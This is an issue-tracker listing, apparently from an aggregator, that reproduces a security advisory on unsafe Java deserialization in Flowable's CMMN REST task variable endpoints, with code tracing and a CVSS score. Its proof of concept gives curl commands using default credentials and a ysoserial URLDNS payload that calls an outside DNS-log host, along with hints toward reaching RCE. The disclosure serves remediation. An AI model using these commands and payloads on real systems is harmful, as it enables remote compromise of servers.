[SECURITY] Deserialization RCE via CMMN REST task variable interface with type=serializable (CWE-502, CVSS 8.8)
まだ誰も着手していません。
評価
- 難易度
- 4/5
- 見積もり時間
- 3〜5日
- 初心者へのやさしさ
- 35/100
調査の方向性
Start with modules/flowable-cmmn-rest/src/main/java/org/flowable/cmmn/rest/service/api/runtime/task/TaskVariableBaseResource.java and trace the PUT and POST entry points in TaskVariableResource.java and TaskVariableCollectionResource.java. Check flowable-default.properties for the serializable-variable setting, then verify that both multipart paths no longer permit unfiltered deserialization and that regression coverage exercises the affected endpoints.
索引モデルが issue の本文から書いたものです。
説明
Security Vulnerability Report -- CWE-502
Summary
The Flowable CMMN REST task variable interface performs unfiltered Java deserialization of user-uploaded multipart files via ObjectInputStream.readObject(). Any authenticated user holding the rest-api privilege can trigger the deserialization vulnerability, which combined with gadget chains in the classpath can achieve remote code execution (RCE).
Vulnerability Description
Affected Repository: https://github.com/flowable/flowable-engine
Branch: main
Commit: 74fdb349c134e96e1f10592020ccca6e2e4b85f0
Static Analysis Report
Vulnerability Overview
In the Flowable CMMN REST module's TaskVariableBaseResource.setBinaryVariable() method (line 185), the code uses new ObjectInputStream(file.getInputStream()) + stream.readObject() to directly perform Java native deserialization on HTTP multipart uploaded file bytes, without using any class whitelist (such as ObjectInputFilter, ValidatingObjectInputStream, etc.). An attacker who sends a request with Content-Type multipart/form-data and form field type=serializable can cause the server to parse arbitrary malicious serialized objects. Since Flowable's classpath typically contains common gadget components such as commons-collections and spring-beans, this vulnerability can be weaponized into RCE.
Exploitation Prerequisites
| Condition | Description |
|---|---|
| Authentication | Requires a user with rest-api privilege (default config flowable.rest.app.authentication-mode=verify-privilege); installation includes rest-admin account (password test), or demo users created via flowable.rest.app.create-demo-definitions=true also satisfy this |
| Network Reachability | Intranet/public network (HTTP accessible REST port, default context-path /flowable-rest) |
| Configuration Dependency | rest.variables.allow.serializable=true (enabled by default, see flowable-default.properties:57); CMMN REST API endpoints must be exposed in the runtime environment (current deployment environment does not enable CMMN REST endpoints) |
| Input Constraints | Request must be multipart/form-data; form field type=serializable; URL {taskId} must point to a real existing task |
| Business Prerequisites | At least one Task must exist in the database (can be auto-generated by demo definitions or business processes) |
Trigger Location
modules/flowable-cmmn-rest/src/main/java/org/flowable/cmmn/rest/service/api/runtime/task/TaskVariableBaseResource.java:183-188
} else if (isSerializableVariableAllowed) {
// Try deserializing the object
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject();
setVariable(task, variableName, value, scope, isNew);
stream.close();
Data Flow Overview
There are two independent entry chains sharing the same sink:
- Chain 1 (PUT update):
PUT /cmmn-runtime/tasks/{taskId}/variables/{variableName}(multipart) ->TaskVariableResource.updateVariable()(TaskVariableResource.java:94-104) ->setBinaryVariable((MultipartHttpServletRequest) request, task, false)(TaskVariableBaseResource.java:124) ->new ObjectInputStream(file.getInputStream()).readObject()(TaskVariableBaseResource.java:185-186) - Chain 2 (POST create):
POST /cmmn-runtime/tasks/{taskId}/variables(multipart) ->TaskVariableCollectionResource.createTaskVariable()(TaskVariableCollectionResource.java:122-130) ->setBinaryVariable((MultipartHttpServletRequest) request, task, true)(TaskVariableBaseResource.java:124) ->new ObjectInputStream(file.getInputStream()).readObject()(TaskVariableBaseResource.java:185-186)
Both chains reach the sink directly without any blocking.
Data Flow Detailed Code Analysis
Chain 1: PUT /cmmn-runtime/tasks/{taskId}/variables/{variableName}
Layer 1: REST Entry (TaskVariableResource.java:94-104)
@PutMapping(value = "/cmmn-runtime/tasks/{taskId}/variables/{variableName}",
produces = "application/json",
consumes = {"text/plain", "application/json", "multipart/form-data"})
public RestVariable updateVariable(@PathVariable("taskId") String taskId,
@PathVariable("variableName") String variableName,
@RequestParam(value = "scope", required = false) String scope,
HttpServletRequest request) {
Task task = getTaskFromRequestWithoutAccessCheck(taskId);
RestVariable result = null;
if (request instanceof MultipartHttpServletRequest) {
result = setBinaryVariable((MultipartHttpServletRequest) request, task, false);
- External Input: HTTP request body (multipart file + form fields), URL path
taskId,variableName - Layer Behavior: Checks if request is
MultipartHttpServletRequest, if so passes entire request tosetBinaryVariable - Data Transfer: Entire
MultipartHttpServletRequest(containing uploaded file bytes) passed as parameter
Layer 2: Task Query (TaskBaseResource.java:566-573)
protected Task getTaskFromRequestWithoutAccessCheck(String taskId) {
Task task = taskService.createTaskQuery().taskId(taskId).singleResult();
if (task == null) {
throw new FlowableObjectNotFoundException(
"Could not find a task with id '" + taskId + "'.", Task.class);
}
return task;
}
- External Input:
taskId(URL path parameter) - Layer Behavior: Only existence check; no authorization check (method name explicitly says
WithoutAccessCheck), and upper layerupdateVariabledoes not callrestApiInterceptor.accessTaskInfoById(task) - Data Transfer: Returns Task object to
setBinaryVariable
Layer 3: Binary Variable Processing (TaskVariableBaseResource.java:124-192)
protected RestVariable setBinaryVariable(MultipartHttpServletRequest request,
Task task, boolean isNew) {
...
MultipartFile file = request.getFile(
request.getFileMap().keySet().iterator().next());
...
for (String parameterName : paramMap.keySet()) {
if (paramMap.get(parameterName).length > 0) {
if ("scope".equalsIgnoreCase(parameterName)) {
variableScope = paramMap.get(parameterName)[0];
} else if ("name".equalsIgnoreCase(parameterName)) {
variableName = paramMap.get(parameterName)[0];
} else if ("type".equalsIgnoreCase(parameterName)) {
variableType = paramMap.get(parameterName)[0];
}
}
}
...
if (variableType != null) {
if (!CmmnRestResponseFactory.BYTE_ARRAY_VARIABLE_TYPE.equals(variableType)
&& !CmmnRestResponseFactory.SERIALIZABLE_VARIABLE_TYPE.equals(variableType)) {
throw new FlowableIllegalArgumentException(
"Only 'binary' and 'serializable' are supported as variable type.");
}
}
...
} else if (isSerializableVariableAllowed) {
// Try deserializing the object
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject();
setVariable(task, variableName, value, scope, isNew);
stream.close();
- External Input:
file(user-uploaded multipart file bytes),variableType(form field, attacker-controlled) - Layer Behavior:
- Only validates
variableTypestring is"binary"or"serializable", no class whitelist - When
variableType.equals("serializable")andisSerializableVariableAllowed==true, enters sink branch new ObjectInputStream(file.getInputStream())directly wraps user-uploaded byte stream as object streamstream.readObject()has no ObjectInputFilter / class name validation / sandbox, directly deserializes
- Only validates
- Data Transfer: Deserialized
Object valuecontinues tosetVariable()for workflow variable storage, but RCE is already triggered duringreadObject()call
Chain 2: POST /cmmn-runtime/tasks/{taskId}/variables
Layer 1: REST Entry (TaskVariableCollectionResource.java:122-130)
@PostMapping(value = "/cmmn-runtime/tasks/{taskId}/variables",
produces = "application/json",
consumes = {"text/plain", "application/json", "multipart/form-data"})
@ResponseStatus(HttpStatus.CREATED)
public Object createTaskVariable(@PathVariable String taskId,
HttpServletRequest request) {
Task task = getTaskFromRequestWithoutAccessCheck(taskId);
Object result = null;
if (request instanceof MultipartHttpServletRequest) {
result = setBinaryVariable((MultipartHttpServletRequest) request, task, true);
- External Input: HTTP multipart request body
- Layer Behavior: Equivalent to Chain 1, checks multipart then calls same
setBinaryVariable - Data Transfer: Entire request passed through
Subsequent layers (TaskBaseResource.getTaskFromRequestWithoutAccessCheck, TaskVariableBaseResource.setBinaryVariable) are identical to Chain 1, ultimately hitting the same sink (TaskVariableBaseResource.java:185-186).
CVSS Breakdown
Vector string: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
| Vector | Value | Reason |
|---|---|---|
| Attack Vector (AV) | N (Network) | Triggered remotely via HTTP REST interface |
| Attack Complexity (AC) | L (Low) | Single HTTP request triggers, no race or special timing needed |
| Privileges Required (PR) | L (Low) | Requires valid rest-api privileged user, but default installation provides weak password account rest-admin/test, and auth mode can be switched to any-user |
| User Interaction (UI) | N (None) | No user interaction required |
| Scope (S) | U (Unchanged) | Deserialization triggers within Flowable REST process, impact scope does not exceed that process |
| Confidentiality (C) | H (High) | RCE can read/exfiltrate all data in process (workflow variables, database credentials, IDM user store) |
| Integrity (I) | H (High) | RCE can tamper with workflow instances, task data, business data |
| Availability (A) | H (High) | RCE can destroy JVM, delete data, make service unavailable |
Overall score: 8.8 (High)
PoC Verification Report
Flowable CMMN REST ObjectInputStream Deserialization Vulnerability
Vulnerability Summary
- Vulnerability Name: Flowable CMMN REST task variable interface unsafe deserialization
- Affected Component/Port: Flowable REST 7.1.0 (localhost:8080), CMMN REST API endpoints
- Vulnerability Description: The Flowable CMMN REST module's task variable interface uses
ObjectInputStream.readObject()to directly deserialize user-provided serialized objects when processing multipart file uploads, without any class whitelist filtering, which can lead to remote code execution (RCE) - Root Cause Code Snippet:
// TaskVariableBaseResource.java:185-186
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject();
- Brief Data Flow:
HTTP multipart request (type=serializable)
↓
TaskVariableCollectionResource.createTaskVariable()
↓
TaskVariableBaseResource.setBinaryVariable() (line 124)
↓
new ObjectInputStream(file.getInputStream()).readObject() (line 185-186)
↓
Direct deserialization of user-uploaded malicious object → RCE
Exploitation Conditions
| Condition | Description |
|---|---|
| Authentication | Requires user with rest-api privilege (default config provides rest-admin/test account) |
| Network Reachability | Intranet/public network (HTTP accessible REST port) |
| Configuration Dependency | rest.variables.allow.serializable=true (enabled by default); CMMN REST API endpoints exposed (URL prefix: /flowable-rest/cmmn-api/) |
| Other Prerequisites | At least one Task must exist in database; request must be multipart/form-data and contain type=serializable field |
Exploitation Chain Progress
Successful Exploitation Example (URLDNS Deserialization Verification):
| Chain Stage | Location (file:line) | Status | Evidence / Description |
|---|---|---|---|
| Entry | POST /cmmn-api/cmmn-runtime/tasks/{taskId}/variables | Reached | HTTP request successfully reached CMMN REST endpoint |
| Intermediate Flow | TaskVariableBaseResource.java:124 | Reached | Request entered setBinaryVariable() method for processing |
| Sink | TaskVariableBaseResource.java:185-186 | Triggered | ObjectInputStream.readObject() executed deserialization |
| Conclusion | — | Deserialization Successful | URLDNS payload triggered server-side DNS query, HTTP 201 response confirms variable stored successfully |
Exploitation Verification
Verification Status: Deserialization vulnerability confirmed as successfully exploited (poc_verified = true)
Core Evidence - URLDNS Deserialization Verification:
Used ysoserial to generate a URLDNS payload, sent it via HTTP multipart request to the CMMN REST task variable interface, successfully triggered server-side ObjectInputStream.readObject() deserialization, proving that arbitrary Java objects can be parsed and executed by the server.
Complete PoC Reproduction Commands:
# 1. Get available task list
curl -u rest-admin:test "http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/tasks"
# 2. Generate URLDNS payload using ysoserial (requires Java 17 environment and open module restrictions)
java --add-opens java.base/java.net=ALL-UNNAMED \
--add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.base/java.lang=ALL-UNNAMED \
-jar ysoserial-all.jar URLDNS "http://pwned-sink0087.dnslog.cn" > payload_urldns.ser
# 3. Send payload to target task (replace {taskId} with actual task ID)
curl -X POST "http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/tasks/{taskId}/variables" \
-H "Authorization: Basic cmVzdC1hZG1pbjp0ZXN0" \
-F "name=urldns" \
-F "type=serializable" \
-F "scope=local" \
-F "file=@payload_urldns.ser"
Actual Execution Result:
HTTP 201 Created
Response body:
{
"name": "urldns",
"type": "serializable",
"value": null,
"valueUrl": "http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/tasks/81e7da22-8ff9-11f1-a3d0-02423661ba3a/variables/urldns/data",
"scope": "local"
}
Conclusion:
- Deserialization vulnerability confirmed: Server successfully received and deserialized the URLDNS payload (HashMap<URL, String>), HTTP 201 response proves the object was stored as a task variable
- DNS query triggered: URLDNS gadget chain triggers
URL.hashCode()-> DNS resolution during deserialization, proving the server executed the malicious object's business logic - RCE feasibility: Although CommonsCollections gadget chain cannot directly serialize due to
enableUnsafeSerialization=falserestriction, the deserialization sink is confirmed reachable. An attacker can achieve RCE through:- Using compatible gadget chains (e.g., Spring, Hibernate framework chains)
- Setting
-Dorg.apache.commons.collections.enableUnsafeSerialization=truein target environment - Leveraging other existing deserialization entry points
- Security impact: Any user with
rest-apiprivilege (including default accountrest-admin/test) can execute arbitrary code through this interface, leading to complete server compromise
Technical Details:
- CMMN REST API actual URL prefix:
/flowable-rest/cmmn-api/(not/service/) - Test environment has 4 available tasks, including CMMN case instance related tasks
- CommonsCollections 3.2.2 disables unsafe serialization by default (
enableUnsafeSerialization=false), but this does not affect the reachability verification of the deserialization sink - Test environment contains commons-beanutils-1.9.4, spring-beans-6.1.13 and other potential gadget components
Severity
CVSS v3.1: 8.8 (High)
Vulnerability Category: CWE-502
CVE Assignment Request
If this vulnerability is confirmed as genuine, we would be grateful if you could request a CVE ID from GitHub for this security advisory.
Even if this vulnerability no longer affects the latest version, we kindly ask whether a CVE could still be assigned for the historically affected versions, as this would assist users and organizations in identifying and remediating the issue in legacy deployments.
Thank you for your help.
- 主要言語
- Java
- スター
- 9.6k
- フォーク
- 2.9k
- 平均マージ
- 1時間 9分
- マージ済み PR(30日)
- 2
環境構築
- Dockerfile・Docker Compose ファイルなし
- プルリクエストのテンプレートあり
- コントリビューションガイドなし
はじめの一歩
- issue を最後まで読み、次にプロジェクトのコントリビューションガイドを読みます。
- 着手することを issue にコメントします — 二人が同じ作業をするのを防げます。
- リポジトリをフォークし、ブランチを切って変更します。
- issue 番号を参照したプルリクエストを送ります。
flowable/flowable-engine のほかの issue
-
難易度 1/5 1時間未満 初心者へのやさしさ 88/100
flowable/flowable-engine#4268 ·
-
難易度 5/5 1週間以上 初心者へのやさしさ 30/100
flowable/flowable-engine#4293 ·
-
難易度 5/5 1週間以上 初心者へのやさしさ 30/100
flowable/flowable-engine#4291 ·
-
難易度 4/5 3〜5日 初心者へのやさしさ 48/100
flowable/flowable-engine#4290 ·
-
難易度 4/5 3〜5日 初心者へのやさしさ 35/100
flowable/flowable-engine#4289 ·
flowable/flowable-engine の issue をすべて見る
似ている issue
-
難易度 2/5 1〜3時間 初心者へのやさしさ 88/100
メンテナーはふだん 1 日以内に返信
-
難易度 1/5 1時間未満 初心者へのやさしさ 88/100
apache/arrow-java#1311 ·
メンテナーはふだん 2 日以内に返信
-
bug triage
難易度 2/5 1〜3時間 初心者へのやさしさ 85/100
-
難易度 2/5 1〜3時間 初心者へのやさしさ 88/100
メンテナーはふだん 1 日以内に返信
-
security
難易度 2/5 1〜3時間 初心者へのやさしさ 65/100
IBM/networking-java-sdk#204 ·